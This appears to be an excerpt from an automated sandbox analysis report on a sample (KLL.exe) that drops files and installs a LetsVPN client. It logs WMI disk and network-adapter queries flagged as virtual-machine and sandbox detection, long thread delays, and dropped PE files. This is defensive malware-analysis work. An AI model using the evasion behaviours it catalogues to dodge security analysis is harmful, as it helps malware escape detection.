Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID="Disk #0, Partition #1"} where resultclass = Win32_DiskDrive
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID="{E014743D-3AD4-4C20-9B2A-D7BBC6094287}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID="10"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select MACAddress From Win32_NetworkAdapter WHERE ((MACAddress Is Not NULL) AND (Manufacturer <> 'Microsoft'))
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID="{E014743D-3AD4-4C20-9B2A-D7BBC6094287}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_networkadapterconfiguration where ServiceName = 'tap0901'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID="{E014743D-3AD4-4C20-9B2A-D7BBC6094287}"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID="10"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName="tap0901"
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID="{E014743D-3AD4-4C20-9B2A-D7BBC6094287}"

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = 'C:'
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID="C:"} where resultclass = Win32_DiskPartition
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: D00000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2820000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2650000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1650000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 3440000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 1990000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 10A0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2C70000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Memory allocated: 2A80000 memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 218980
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe	Window / User API: threadDelayed 9364	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1504
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8379
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1241
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Window / User API: threadDelayed 3884
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Window / User API: threadDelayed 2112
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Window / User API: threadDelayed 1446

Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\ndp462-web.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC9A3.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dll	Jump to dropped file
Source: C:\Users\user\Desktop\KLL.exe	Dropped PE file which has not been started: C:\ProgramData\33100\Wo077~m7\s	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\Update.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\SETC79F.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd5D9A.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dll	Jump to dropped file
